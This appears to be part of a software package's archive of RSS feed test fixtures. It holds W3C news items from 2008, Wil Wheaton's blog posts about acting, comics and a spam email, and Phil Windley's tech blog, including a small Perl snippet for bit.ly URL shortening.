sources. This version of XQuery extends the version of the XQuery 1.0 Recommendation published on 23 January 2007; see the list of changes. The latter document describes usage scenarios that will impact the design of XQuery 1.1. Learn more about the Extensible Markup Language (XML) Activity. (Permalink) http://www.w3.org/News/2008#item123 2008-07-15 POWDER Formal Semantics First Working Draft Published 2008-07-09: The Protocol for Web Description Resources (POWDER) Working Group has published the First Public Working Draft of Protocol for Web Description Resources (POWDER): Formal Semantics. This document underpins the Protocol for Web Description Resources (POWDER). It describes how the relatively simple operational format of a POWDER document can be transformed through two stages, first into a more tightly constrained XML format (POWDER-BASE), and then into an RDF/OWL encoding (POWDER-S) that may be processed by Semantic Web tools. The formal semantics of POWDER are best understood after the reader is acquainted with the Description Resources and Grouping of Resources documents. Learn more about the Semantic Web Activity. (Permalink) http://www.w3.org/News/2008#item122 2008-07-09 Relationship Between Mobile Web and Web Content Accessibility Working Draft Published 2008-07-07: The Mobile Web Best Practices Working Group and the WAI Education and Outreach Working Group have published an updated Working Draft of Relationship between Mobile Web Best Practices (MWBP) and Web Content Accessibility Guidelines (WCAG). See the announcement email. The groups encourage people to start by reading Web Content Accessibility and Mobile Web: Making a Web Site Accessible Both for People with Disabilities and for Mobile Devices, which shows how design goals for accessibility and mobile access overlap. A third document, Experiences Shared by People with Disabilities and by People Using Mobile Devices, provides examples of barriers that people (without disabilities) face when interacting with Web content via mobile devices, and similar barriers for people with disabilities using desktop computers. Learn more about the Mobile Web Initiative and the Web Accessibility Initiative (WAI). (Permalink) http://www.w3.org/News/2008#item121 2008-07-07 Note: Authoring Applications for the Multimodal Architecture 2008-07-03: The Multimodal Interaction Working Group has published the Group Note of Authoring Applications for the Multimodal Architecture. This document provides a concrete illustration of a multimodal application based on W3C's Multimodal Architecture and Interfaces (MMI Architecture) including the startup phase, how components find each other and message transport. Learn more about the Multimodal Interaction Activity. (Permalink) http://www.w3.org/News/2008#item120 2008-07-03 POWDER Drafts Published: Grouping of Resources; Description Resources 2008-06-30: The Protocol for Web Description Resources (POWDER) Working Group has published two Protocol for Web Description Resources (POWDER) Working Drafts: Grouping of Resources and Description Resources. The first document describes how to publish descriptions of multiple resources such as all those available from a Web site. These descriptions are always attributed to a named individual, organization or entity that may or may not be the creator of the described resources. The second publication provides a means for individuals or organizations to create machine-readable descriptions. Learn more about the Semantic Web Activity. (Permalink) http://www.w3.org/News/2008#item117 2008-06-30 Last Call: Widgets 1.0: Requirements 2008-06-25: The Web Applications Working Group has published a Last Call Working Draft of Widgets 1.0: Requirements. This document lists the design goals and requirements that a specification would need to address in order to standardize various aspects of widgets. Widgets are small client-side Web applications for displaying and updating remote data, that are packaged in a way to allow download and installation on a client machine, mobile phone, or mobile Internet device. Comments are welcome through 01 August. Learn more about the Rich Web Client Activity. (Permalink) http://www.w3.org/News/2008#item116 2008-06-25 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.wilwheaton.net-mt-index.xml0000664000175000017500000013023612653701626027032 0ustar janjan WWdN: In Exilehttp://wilwheaton.typepad.com/wwdnbackup/Wil Wheaton says, "Don't be a dick!"enMon, 21 Jul 2008 17:58:50 -0500TypePad http://www.typepad.com/Copyright 2006 Wil Wheatonwheaton,wil,wheaton,wwdn,burrito,radio,free,burritoArts & Entertainmentwil@wilwheaton.netWil WheatonWil Wheatonyeswheaton,wil,wheaton,wwdn,burrito,radio,free,burritoRadio Free Burrito is a semi-weekly podcast of things which I find . . . interesting.Radio Free Burrito is a semi-weekly podcast of things which I find . . . interesting.http://creativecommons.org/licenses/by-nc-nd/3.0/http://wilwheaton.typepad.comhttp://wilwheaton.net/Images/www_wilwheaton_net.gifWIL WHEATON dot NETThis is an XML content feed. It is intended to be viewed in a newsreader or syndicated to another site.part two of my interview with comicmixhttp://feeds.feedburner.com/~r/wwdn/~3/341976904/part-two-of-my.htmlBooksWWdN in Exilewil@wilwheaton.net (Wil Wheaton)Mon, 21 Jul 2008 17:58:58 -0500tag:typepad.com,2003:post-53038132The second part of my interview with Comicmix is online, wherein I say things like:

      I was one of the earliest Mac adopters. I had a Mac 128K in the first few months of its release. [. . .] I loved that computer. It was portable, which is funny to say now, because it only weighed like, 20-30 pounds. It had a handle on the top, so clearly, it was portable.

      And:

      I don't ever want to lose the experience of going to the comic shop on Wednesday and walking around -- even if I'm only there to get two books. Spending 40 minutes looking at everything and talking to the other geeks that are there and having the owner of the comic shop say, "I know you normally don't read this, but based on the years of you coming here I think you'd like it," I really like that.

      And:

      CMix: Do you read any of the Star Trek comics at all?

      WW: No.

      CMix: No desire to or you just don't care?

      WW: It's not that I have no desire. It's not that I don't care. It's that I have a limited amount of time and I have to choose really carefully where I invest that time. If I'm forced to choose between a Star Trek comic or Criminal, I just enjoy Criminal more, so...

      Um. In other words, I have no desire and I don't care, I guess. That sounds really harsh, but . . . well, I just don't know how to finish that without feeling like a dick. I guess that I like Star Trek a lot, but not enough to read the novels and comic books.

      . . . yep, feeling like a dick right now.

      Point of clarification: In the interview, I say "I've been reading Batman since Grant Morrison started working on it, because there are a few guys in the world that I'll read anything by. Grant Morrison does Teletubbies, I'm there." This makes it sound like I started reading Batman when Grant Morrison's run began, but I've actually been reading Batman since around 1987 or 1988.

      You can read the entire interview (part two of three) at Comicmix. You may also want to read part one. Hell, for all I know, you may want to look at a picture of a duck*. Go nuts, I'm not the boss of you.

      *I really wanted to link to a SFW picture of Jenna Jameson there, but I was pretty sure I'd get letters if I did.

      ]]>      And: I don't ever want to lose the experience of going to the comic shop on Wednesday and walking around -- even if I'm only there to get two books. Spending 40 minutes looking at everything and talking to the other geeks that are there and having the owner of the comic shop say, "I know you normally don't read this, but based on the years of you coming here I think you'd like it," I really like that. ... Point of clarification: In the interview, I say "I've been reading Batman since Grant Morrison started working on it, because there are a few guys in the world that I'll read anything by.http://wilwheaton.typepad.com/wwdnbackup/2008/07/part-two-of-my.html      a quick one while he's awayhttp://feeds.feedburner.com/~r/wwdn/~3/341850120/a-quick-one-whi.htmlTelevisionwil@wilwheaton.net (Wil Wheaton)Mon, 21 Jul 2008 15:12:26 -0500tag:typepad.com,2003:post-53026744Dsc_0664 Hey, check it out! I found a tube that goes right into the studio, so I can ride the Internets while I'm between scenes!

      Today is the day I've been waiting for since I booked this job. Today is the day that I get to really tear into this character, and mainline the good stuff that keeps actors coming back for more, chasing the dramatic dragon until we die. I was so excited to work today, I hardly slept at all last night, and woke up this morning before my alarm went off. I haven't felt like this since I was a little kid at Christmas.

      God, I miss this. I didn't know how much I missed it until last week, but holy shit do I miss this. This cast, this crew, these writers, this director, this whole show is just incredible. I'm truly lucky to be here, and I'm so grateful that I can appreciate it, and not take it for granted like I would have ten years ago.

      I wish I could say more about today's work. I wish I could identify and compliment the incredible actors I'm working with. I wish I could go into great detail about why I'm so excited to do what I'm doing today, but it'll have to wait until this episode airs in October.

      I'll never stop writing, but I can't deny that there's a part of me who will always be an actor, and I owe it all to the people I've worked with on this show.

      I thought I was out, but they pulled me back in!

      ]]>      Hey, check it out! I found a tube that goes right into the studio, so I can ride the Internets while I'm between scenes! Today is the day I've been waiting for since I booked this job. Today is the...http://wilwheaton.typepad.com/wwdnbackup/2008/07/a-quick-one-whi.html      strange as it seems his musical dreams ain't quite so badhttp://feeds.feedburner.com/~r/wwdn/~3/339300406/strange-as-it-s.htmlTelevisionWWdN in Exilewil@wilwheaton.net (Wil Wheaton)Fri, 18 Jul 2008 18:00:05 -0500tag:typepad.com,2003:post-52887438We've been shooting nights this week on Criminal Minds, and I've worked every single day, which doesn't leave any time to write, or do much of anything else. I got home at 4 this morning, didn't fall asleep until 5, and then had to explain to my dogs that, no, just because I was in bed and the sun was coming up, I'm not interested in getting up to do stuff with them.

      So I only got to sleep for seven disturbed hours, and I feel like I'm on the road to Bat Country right now. Luckily for me, I don't go to set until 5:30 tonight, and I don't have any dialog today.

      Despite the havoc the last few days have unleashed on my body (which is very confused by the hours I'm forcing it to keep, and [spoiler]) I have loved every second of the experience.

      I'm keeping a production diary, which I can't release until my episode airs in October, but I can safely say that working on this show, with this cast and crew, creating this character, has reawakened my slumbering love of acting. I'll have more to say about that when I can really analyze how I feel about it and why. (short short version: I miss the camaraderie of being in a cast, and I'd forgotten how good it feels to discover interesting moments with the director, writers, and other actors. I work best while collaborating, it seems.)

      Anyway, I feel so blurry that the doll's trying to kill me and the toaster's laughing at me, so I'm going to sign off. But before I do, a couple of things:

      • I missed the Watchmen trailer. It was up and then down while I was at work. Dang. Oh! Wait, there it is on iTunes. Wow, that was awesome.

      • I am too tired to see Dark Kinght (I didn't correct that, because it illustrates exactly how tired I am. Yes, I misspelled the title of the freakin' Batman movie I've been waiting my whole life to see. Jeebus) today, and probably won't get to see it and the Watchmen trailer until next week, right before Comic-Con.

      • I did not miss Doctor Horrible's Sing Along Blog, and neither should you. It's absolutely magnificent, the whole cast is outstanding, and my fellow ACME alum Felicia Day is sensational. I want the soundtrack, and I want it NOW! Shane Nickerson said that it's probably the best thing he's ever seen that was made for the Internet, and better than most sitcoms. I totally agree, and wish Shane would stop saying these things before I get a chance to say them.

      • Wheaton's Books in the Wild at Flickr has 77 members and 48 supermegaawesome contributions. Yay!

      • This is a reminder to everyone who has tickets that I will be at Comic-Con from Thursday until Saturday of next week. I'm probably going to sell out the second printing of Happiest Days while I'm there. I'll be with my friend Rich Stevens at the Dumbrella booth, which is number 1335. MC Frontalot is going to be there, too, so if you're looking to fill that final square on Nerd Bingo, come and see us.

      • On Thursday, I'll be on a panel called Star Trek Without a Blueprint: How books and comics keep expanding the boundaries of the Star Trek universe. We'll be talking about the future of Star Trek publishing in room 32AB from 4:00-5:00. I'll be on the panel with Andy Mangels (moderator and Star Trek author), Margaret Clark (executive editor, Pocket Books), Andy Schmidt (senior editor, IDW) and Star Trek authors Kevin Dilmore, Dave Mack, Scott Tipton, and Dayton Ward.

      • Finally, TrekMovie has the poster we've all been waiting to see. It looks awesome.

      Have a great weekend, everyone!

      ]]>      I got home at 4 this morning, didn't fall asleep until 5, and then had to explain to my dogs that, no, just because I was in bed and the sun was coming up, I'm not interested in getting up to do stuff with them. ... I'm keeping a production diary, which I can't release until my episode airs in October, but I can safely say that working on this show, with this cast and crew, creating this character, has reawakened my slumbering love of acting. I'll have more to say about that when I can really analyze how I feel about it and why. (short short version: I miss the camaraderie of being in a cast, and I'd forgotten how good it feels to discover interesting moments with the director, writers, and other actors.http://wilwheaton.typepad.com/wwdnbackup/2008/07/strange-as-it-s.html      metahumor ftwhttp://feeds.feedburner.com/~r/wwdn/~3/337334975/metahumor-ftw.htmlWWdN in Exilewil@wilwheaton.net (Wil Wheaton)Wed, 16 Jul 2008 14:13:40 -0500tag:typepad.com,2003:post-52785068My love of metahumor probably comes from the same place as my love of obscure references, which can be traced, in part, to MST3K.

      John Kovalic has been killing me with the metahumor this week, so for my fellow members of the metahumor appreciation society, I present Monday's and today's Dork Tower comics.

      ]]>      My love of metahumor probably comes from the same place as my love of obscure references, which can be traced, in part, to MST3K. John Kovalic has been killing me with the metahumor this week, so for my fellow members of the metahumor appreciation society, I present Monday's and today's Dork Tower comics.http://wilwheaton.typepad.com/wwdnbackup/2008/07/metahumor-ftw.html      changing gears for criminal mindshttp://feeds.feedburner.com/~r/wwdn/~3/336398787/changing-gears.htmlTelevisionWWdN in Exilewil@wilwheaton.net (Wil Wheaton)Wed, 16 Jul 2008 12:57:43 -0500tag:typepad.com,2003:post-52739398In about an hour, I'll be at the studio to be fitted for my Criminal Minds wardrobe. Tomorrow, I start work on the show.

      The script's been rewritten a few times since I first read it, and I've been able to read each draft in its entirety, which has been really interesting to me as a writer, as I track the changes and try to figure out what network and studio notes they were intended to address. It's got to be so difficult for these writers to take a certain scene or character in one direction, write really great dialog and stuff to get them there, and then be told that they have to throw it all away and take things in a different direction. And do that three times in five days. I honestly don't know how they do it.

      People ask me all the time if I'm working on a screen play, or if I'm interested in writing for television. In fact, a staff writer from a show we all watch told me last year that I'd fit right in on that show, and that I should think about taking my writing career in that direction.

      I said thanks, but no.* I know how hard it is to write a good story with compelling characters and an engaging plot. I also know how arbitrary and soul crushing the entertainment industry is, and that's just as an actor. The people who write for television are basically writing the equivalent of thirteen features a season, serving several different masters, including the show's producers and the people at the network. For a fascinating insider's view of this process, you must read John Rogers' posts about his show Leverage:

      Leverage: Lessons from the Script Pile
      Leverage Week 1
      Leverage Week 2
      Leverage Week 3
      Leverage Weeks 4 + 5
      Leverage Week 6

      (There are more Leverage posts, but that's a good place to get you started.)

      I had a hard enough time coming up with something clever to write every week for Games of Our Lives and Geek in Review, and in both of those cases, I only had to make one editor happy. I don't even want to think about what it's really like to make a whole bunch of different people happy, especially when all of those people work in the entertainment industry, and there are millions of dollars at stake. I have nothing but respect for the people who can do it.

      Anyway, this post is about changing gears, so I suppose I should get to that.

      When I went for my Criminal Minds table read last week, one of the writers introduced herself to me and offered to answer any questions I had about the character and script. My first instinct was to ask if I could some sit in the writer's room and take notes, but before I could jam my foot in my mouth, I reminded myself, "You're here as an actor. Do your job." It was then that I realized I'd have to switch gears before I started work on this show. I'd have to take off my rookie writer's pants, and put on my veteran actor's pants for a week. That sounds simple and logical, but it's been tough, especially because I was really building momentum on these short stories I've been writing. I guess it's a good problem to have, though, so I'm not complaining.

      This week and last week have been weird for me, because though I don't think of myself as a full-time actor any more, I can't deny that I'm super excited to bring this character to life, and I'm proud of myself for booking the job. Allow me to quote Shane Nickerson: "There's something to be said for not needing it and not seeking it, isn't there? I won't say not wanting it, because I am too keenly aware that no matter how much we try to convince ourselves otherwise, we actors may never stop wanting it, somewhere deep inside." That is 100% true, and I'm not even going to try to deny it. As much as I hate dragging my ass all over town for auditions, and as frustrating and demoralizing as the whole process is, when I'm actually working with other actors and creative people to take words on a page and bring them to life, it's almost worth it.

      Almost. Which is why I've mostly traded taking the words off the page for putting them on it.

      Yesterday, I tried to spend the day writing. For eight hours, I did everything I could to knock ideas out of my head and give my characters interesting things to say and do. I failed in every attempt at masonry, growing more and more frustrated with each highlight and delete. Finally, I accepted that my internal creative CPU wants and needs to be doing actor things, like breaking down scenes, developing and understanding this character, and learning my lines. Luckily, I've done this long enough that it's all second nature, and it's all deeply satisfying, so it doesn't feel like work at all.

      You know, it feels strange, but also good to change gears for a few days. Hopefully, I won't grind them too much.

      *There's been a lot of confusion about this, and I want to clarify: I wasn't offered any jobs on any shows. I was told by an experienced writer that, in that writer's opinion, I would be able do it if I wanted to, and I said I wasn't interested in that kind of thing, because I don't believe I have what it takes.

      ]]>      It's got to be so difficult for these writers to take a certain scene or character in one direction, write really great dialog and stuff to get them there, and then be told that they have to throw it all away and take things in a different direction. ... For a fascinating insider's view of this process, you must read John Rogers ' posts about his show Leverage : Leverage: Lessons from the Script Pile Leverage Week 1 Leverage Week 2 Leverage Week 3 Leverage Weeks 4 + 5 Leverage Week 6 (There are more Leverage posts, but that's a good place to get you started.) ... This week and last week have been weird for me, because though I don't think of myself as a full-time actor any more, I can't deny that I'm super excited to bring this character to life, and I'm proud of myself for booking the job.http://wilwheaton.typepad.com/wwdnbackup/2008/07/changing-gears.html      announcing wheaton's books in the wildhttp://feeds.feedburner.com/~r/wwdn/~3/336294481/announcing-whea.htmlBookswil@wilwheaton.net (Wil Wheaton)Tue, 15 Jul 2008 12:54:19 -0500tag:typepad.com,2003:post-52733406Based on the positive feedback from yesterday's sighting of Happiest Days in the wild, I made a flickr group for other people who want to show off their book in its natural habitat:

      Do you have Just a Geek, Dancing Barefoot, or The Happiest Days of Our Lives, by me, Wil Wheaton? If you do, this is your chance to show me, Wil Wheaton (and everyone else in the world, now that I, Wil Wheaton, think about it) where you've taken them.

      So get creative, and show us your books!

      From time to time, I crack myself up by calling myself "me, Wil Wheaton." It's a joke that J. Keith van Straaten and I came up with when we were doing his show together at ACME. It's certainly funnier in my head (and on stage) than it is on the screen, but that's never stopped me before, so . . . yeah, I'm just going to trail off now . . . . mmmpthhptt.

      ]]>      Based on the positive feedback from yesterday's sighting of Happiest Days in the wild , I made a flickr group for other people who want to show off their book in its natural habitat: Do you have Just a Geek , Dancing Barefoot , or The Happiest Days of Our Lives , by me, Wil Wheaton? If you do, this is your chance to show me, Wil Wheaton (and everyone else in the world, now that I, Wil Wheaton, think about it) where you've taken them. ... It's certainly funnier in my head (and on stage) than it is on the screen, but that's never stopped me before, so . . . yeah, I'm just going to trail off now . . . . mmmpthhptt .http://wilwheaton.typepad.com/wwdnbackup/2008/07/announcing-whea.html      happiest days sighted in the wild, keeping good companyhttp://feeds.feedburner.com/~r/wwdn/~3/335451495/happiest-days-s.htmlBookswil@wilwheaton.net (Wil Wheaton)Mon, 14 Jul 2008 16:32:05 -0500tag:typepad.com,2003:post-52694882I always tell people who are successful to take a moment and enjoy it, especially if it's someone I know and respect, and I know how hard they've worked to earn their success. (Otis, I'm looking in your direction right now.)

      But I'm not so good at taking this particular bit of my own advice. My sense of responsibility to my family, and the uncertain economy we find ourselves living in right now forces me to keep my head down and stay focused on whatever the next thing is. This keeps me motivated, but it doesn't leave a lot of room to just sit back and enjoy things, which is something I think I need to do a little more often, especially on a day like today where I just feel . . . stabby.

      It's easy for me to lose sight of the thousands of copies of Happiest Days that have made the journey from my office, through my living room, and into the hands of real people all over the world, but in an effort to enjoy the good things a little bit, I present this photo of The Happiest Days of Our Lives, keeping some very good company, on vacation.

      Happiest_days_of_our_lives_wil_whea

      It made me really happy to see this picture, for a lot of reasons that I can't detail without feeling like a jerk, so I'll just say thank you to WWdN and HDoOL reader Amanda C. for sharing a little bit of her vacation with me, and allowing me to share it with you.

      ]]>      I always tell people who are successful to take a moment and enjoy it, especially if it's someone I know and respect, and I know how hard they've worked to earn their success. (Otis, I'm looking in your direction right...http://wilwheaton.typepad.com/wwdnbackup/2008/07/happiest-days-s.html      in which i'm interviewed by comicmixhttp://feeds.feedburner.com/~r/wwdn/~3/335299385/in-which-im-int.htmlBooksFilmWWdN in Exilewil@wilwheaton.net (Wil Wheaton)Mon, 14 Jul 2008 13:09:15 -0500tag:typepad.com,2003:post-52685886About six weeks ago, I met writer Chris Ullrich in Pasadena to be interviewed for ComicMix. We talked for about two hours, and he ended up with a transcript that's so long, they're splitting the interview into three parts.

      Part one is up today, and rather than excerpt it heavily, I'll just quote my favorite bit:

      [TokyoPop] asked me if I would write a Next Generation Manga, and would I write a Wesley Crusher story, and I didn't want to do it because it felt to me like there was no way in that equation that I could return a positive result.

      Ultimately, I'm just not interested in Wesley Crusher anymore. It's been a long time and he's sort of frozen in amber in a certain state. I don't have anything to add to that. I don't have anything new to bring to it at all.

      CMix: No thoughts about killing him off?

      WW: No. I'm way more interested in working on my own original stuff. And there's a finite number of time/energy/creative units that I can gather on my "collect resources" turn. I would rather put those into building my own story than into repairing the Wesley Crusher building.

      There are times in my life when I wonder if I spend a little too much time gaming. I frequently decide that there's just no such thing as too much gaming . . . then I read something like this, a faithful recreation of my actual thought process, and I think I should just step away from the bag of dice for a few turns.

      Wait. Not turns. Days. I meant to say days.

      Sigh.

      ]]>      We talked for about two hours, and he ended up with a transcript that's so long, they're splitting the interview into three parts. Part one is up today, and rather than excerpt it heavily, I'll just quote my favorite bit: [TokyoPop] asked me if I would write a Next Generation Manga, and would I write a Wesley Crusher story, and I didn't want to do it because it felt to me like there was no way in that equation that I could return a positive result. ... I frequently decide that there's just no such thing as too much gaming . . . then I read something like this, a faithful recreation of my actual thought process, and I think I should just step away from the bag of dice for a few turns.http://wilwheaton.typepad.com/wwdnbackup/2008/07/in-which-im-int.html      that's no moon . . . http://feeds.feedburner.com/~r/wwdn/~3/333690433/thats-no-moon.htmlWWdN in Exilewil@wilwheaton.net (Wil Wheaton)Sat, 12 Jul 2008 13:20:04 -0500tag:typepad.com,2003:post-52592814. . . that's an awesome T-shirt!

      Just in time for Comic-Con, one of my favorite Threadless shirts of all time has been reprinted!

      Dark Side of the Garden - Threadless, Best T-shirts Ever
      As always, if you buy it via the image above, (or buy anything via this link) I get shiny gold rocks that I can trade for other awesome Threadless shirts of my own, like this one:
      Training - Threadless, Best T-shirts Ever
      It occurs to me now that I haven't gone on a T-shirt buying rampage in several months. Hmmm . . . maybe it's time to pay a visit to Think Geek.
      (You know, when I go to Think Geek, it's like a suburban mom going to Target or Costco. I go in there for one T-shirt, and I end up leaving with a ton of other stuff I had no intention of buying when I walked through the door. Please note that I'm not complaining.)

      ]]>      As always, if you buy it via the image above, (or buy anything via this link ) I get shiny gold rocks that I can trade for other awesome Threadless shirts of my own, like this one: It occurs to me now that I haven't gone on a T-shirt buying rampage in several months. ... (You know, when I go to Think Geek, it's like a suburban mom going to Target or Costco. I go in there for one T-shirt, and I end up leaving with a ton of other stuff I had no intention of buying when I walked through the door.http://wilwheaton.typepad.com/wwdnbackup/2008/07/thats-no-moon.html      the ghosts in the machinehttp://feeds.feedburner.com/~r/wwdn/~3/332028589/the-ghosts-in-t.htmlWeb/Techwil@wilwheaton.net (Wil Wheaton)Thu, 10 Jul 2008 15:11:04 -0500tag:typepad.com,2003:post-52516072SpamSieve is the best spam filter I've ever used in my life, and it's made my e-mail reading much more efficient and pleasant than it once was.

      A few bits of junk sneak through, but it's probably one every two or three days, instead of several daily offers for luxury Rolex watches at 80% off, or various ways to take advantage of the ATTRACTIVE PRICE on Cializ and Viagre, so she won't laugh at my noodle every day.

      Recently, however, this managed to evade the filters:

      mort You computer was infected by our software!
      If you will not buy our software - you will bee lost all data on your PC!

      It closes with a URL to purchase the software, presumably so the e-mail's recipient can respond to the comical extortion attempt.

      I laughed when I read it. I mean, it's obviously a load, so I junked it and went on with my day. I kept thinking about it, though: an intelligent person will see right through this and junk it. I've already updated my corpus to catch future attempts to convince me I "will bee lost all data" on my PC. But the spammer isn't looking to ensnare an intelligent person; the spammer is looking to ensnare exactly the kind of person who reads the e-mail, and sees it as a serious threat.

      "This was clearly written by an idiot," the victim would think. Then, after a moment's consideration: "But what if he's serious?! I don't want to bee lost all data on my PC! I'd better do what he says!" Click. Boom.

      There are a lot of us who have been online since the Internet was a series of networked BBSes. Some of us remember closed systems like Compuserve and GEnie. We remember what it was like to wait twenty minutes to download a GIF at 28.8, and how magnificent it was to see a weather satellite image on a university's T1-connected computer.

      We see through these scams because we pre-date the scammers, but there are lots of people -- and I'm not just talking about our parents and grandparents -- who just don't know any better. They run unpatched machines, leave their routers set to their default passwords, and are prime phishing targets, simply because this technology is, to them, indistinguishable from magic.

      As the Internet becomes a more integral part of everyone's lives, we're going to encounter more and more people who don't understand its inner workings any more than I understand how to take apart my car's diesel engine for fun and profit. I believe that we have a responsibility to these people, to help educate and enlighten them, so they understand how to protect themselves online.

      Think of this another way: if we don't help people understand how to protect themselves from spammers and phishers, how can we expect them to understand the importance of network neutrality?

      ]]>      A few bits of junk sneak through, but it's probably one every two or three days, instead of several daily offers for luxury Rolex watches at 80% off, or various ways to take advantage of the ATTRACTIVE PRICE on Cializ and Viagre, so she won't laugh at my noodle every day. ... We see through these scams because we pre-date the scammers, but there are lots of people -- and I'm not just talking about our parents and grandparents -- who just don't know any better. ... As the Internet becomes a more integral part of everyone's lives, we're going to encounter more and more people who don't understand its inner workings any more than I understand how to take apart my car's diesel engine for fun and profit.http://wilwheaton.typepad.com/wwdnbackup/2008/07/the-ghosts-in-t.html      Copyright 2006 Wil WheatonWil Wheatonadult       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.windley.com-rss.xml0000664000175000017500000011306112653701626025373 0ustar janjan Phil Windley's Technometria http://www.windley.com/ Organizations Get the IT They Deserve Copyright 2008 Mon, 21 Jul 2008 16:47:40 -0700 http://www.movabletype.org/?v=4.1 http://blogs.law.harvard.edu/tech/rss A Day Without a Laptop I forgot my laptop at home today. Just drove off without it. Left it sitting in the garage. Ugh.

      Fortunately, today wasn't a day that I was planning on spending the day coding. My development environment runs in Fusion on my MBP, so that would have been tough. I had a day of meetings and discussion and for that, my iPhone worked just fine.

      For the most part, I take my laptop everywhere I go. This mistake has taught me that I could take it fewer places and get by.

      What suffered? I couldn't pusblish today's show on IT Conversations from my iPhone very easily. I couldn't blog easily. As I mentioned, I was without my development environment. Other than that, life went on.

      ]]> Tags:

      ]]>       http://www.windley.com/archives/2008/07/a_day_without_a_laptop.shtml http://www.windley.com/archives/2008/07/a_day_without_a_laptop.shtml Mon, 21 Jul 2008 16:47:40 -0700       August CTO Breakfast at UTOSC

      A few days ago I said that we wouldn't be holding a CTO breakfast in August. I was wrong. In fact, we'll be holding the breakfast on August 28 in conjunction with the Utah Open Source Conference at Salt Lake Community College. Please mark your calendars.

      If you're a regular breakfast attendee, I have discount codes for UTOSC that I can give you. Just send me a note.

      ]]> Tags: utah events open+source cto breakfast

      ]]>       http://www.windley.com/archives/2008/07/august_cto_breakfast_at_utosc.shtml http://www.windley.com/archives/2008/07/august_cto_breakfast_at_utosc.shtml utah, events, open+source, cto, breakfast, Thu, 17 Jul 2008 09:45:26 -0700       Saving Money by Slowing Down: Applying Technology

      With the high price of gasoline, lots of people are looking for ways to save money on gas. The simplest method is simply to slow down. The drag on a vehicle goes up with the fourth power of the speed. That implies a very crisp knee in the curve.

      Of course, the standard answer would be "lower the speed limit to 55MPH." But that would really be a bummer for people on long trips. We have better technology than in the 70's. Most people cruising down the highway at 75 don't know that they could slow down 10 or 20 MPH and save real money. Let's give them data. Here's my proposal.

      Why don't cars come with a meter that shows how much you're spending right now on gas. Turn instantaneous mileage into instantaneous dollars and you'll see real behavior change. That leaves people free to choose and most will choose saving money when there's no compelling reason not to while leaving people the freedom to spend money to get where they need to be.

      One step further: create an online game where people can compete for best performance over a given route.

      I'm looking for an iPhone app that does this for starters.

      ]]> Tags: politics gas

      ]]>       http://www.windley.com/archives/2008/07/saving_money_by_slowing_down_applying_technology.shtml http://www.windley.com/archives/2008/07/saving_money_by_slowing_down_applying_technology.shtml politics, gas, Tue, 15 Jul 2008 14:31:39 -0700       Using bit.ly with MovableType I've been using the mt-twitter plugin to automatically publish blog articles to Twitter. I find that I get more readers that way than RSS or my newsletter at this point. One problem is that you don't get any good stats that way. I've modified the mt-twitter plugin to use bit.ly now to solve that problem. With bit.ly you can click on the "info" link and get good stats about who clicked from where.

      This is the code I added to the _update_twitter function: 

       my $bitly = LWP::UserAgent->new;
 my $url_response = 
       $bitly->get("http://bit.ly/api?url=" . $obj->permalink);
 my $small_url;
 if($url_response->is_success) {
    $small_url = $url_response->content;
} else {
   $small_url = $obj->permalink;
}

      Of course, you also have to change the line that creates the twitter message to use the new shortened URL ($small_url) instead of the permalink directly.

      ]]> Tags: blogging perl movabletype

      ]]>       http://www.windley.com/archives/2008/07/using_bitly_with_movabletype.shtml http://www.windley.com/archives/2008/07/using_bitly_with_movabletype.shtml blogging, perl, movabletype, Tue, 15 Jul 2008 13:21:44 -0700       Top Ten IT Conversations Shows for June

      Here's the top ten shows on IT Conversations for June:

      1. Episode Nine - StackOverflow (Rating: 3.28)

        Joel and Jeff discuss Apple's WWDC (and the correct pronunciation of OS X), the use of JavaScript on modern web sites, affiliate programs, and much more.

      2. Episode Ten - StackOverflow (Rating: 3.43)

        Joel and Jeff discuss the fine art of listening, source control, the risks of being an internal IT developer, and the state of current mobile platforms. Oh, and how to clean the toilet.

      3. Episode Eleven - StackOverflow (Rating: 3.28)

        Joel and Jeff try to avoid talking over each other while discussing data generation, full text searching, cross-site scripting, Markdown, Microsoft's Silverlight, and how to get a job at Fog Creek software.

      4. Scott Ambler - Are You Agile or Are You Fragile? (Rating: 3.72)

        A presentation by Scott Ambler at the SDForum Distinguished Speaker Series in 2003 entitled "Are You Agile or Are You Fragile?" The software industry is shifting from large-scale, prescriptive processes that mandate rigorous procedures and policies to lighter, more agile methodologies. Are these agile processes appropriate for your organization? If so, which should you consider adopting? What challenges can you expect and how can you overcome them? (Audio from IT Conversations. This is a long one: nearly two hours.)

      5. Episode 8 - StackOverflow (Rating: 3.35)

        In the first episode hosted by the IT Conversations, Joel and Jeff discuss Joel's keynote address at the recent Rails conference, the attitudes of some of those who don't use Macs, and Clay Shirky's recent book, "Here Comes Everybody".

      6. Stuart Kauffman - Reinventing the Sacred (Rating: 3.44)

        Dr. Moira Gunn speaks with biologist and author Stuart Kauffman, about his latest book "Reinventing the Sacred," which discusses a new way to look at science, the universe, and the mystery of life.

      7. Ken Ledeen & Harry Lewis - Blown to Bits (Rating: 3.50)

        Ken Ledeen and Harry Lewis are co-authors (with Hal Abelson) of the forthcoming book "Blown to Bits: Your Life, Liberty, and Happiness After the Digital Explosion." All three authors are veteran information technologists. On this edition of Interviews with Innovators, host Jon Udell speaks to Ledeen and Lewis to reflect on the rapid and sweeping changes these technologies bring.

      8. Connected Innovators Showcase - New Business Ideas (Rating: 3.21)

        The Connected Innovators program showcases emerging technologies and new business ideas likely to make an impact on the networked future. After a competitive application process, Supernova's Kevin Werbach and TechCrunch's Michael Arrington invite a dozen top company leaders on stage to present their best, quick pitch. Then, a panel of start-up experts analyzes the offerings, judging their potential in the marketplace, and their meaning for the tech industry.

      9. Ken Schwaber - Wrestling Gold from Today's Software Projects (Rating: 3.79)

        "You Thought it was Easy: Wrestling Gold from Today's Software Projects." The benefits of Agile are many, the implementation is easy, and the problems are daunting. Ken Schwaber, Senior Consultant, Cutter Consortium & Chairman of the Agile Alliance, discusses the obstacles to wresting the gold from today's software projects. (IT Conversations audio from SDForum Agile Summit.)

      10. Mark Shuttleworth, Tim O'Reilly - Talking Ubuntu (Rating: 2.71)

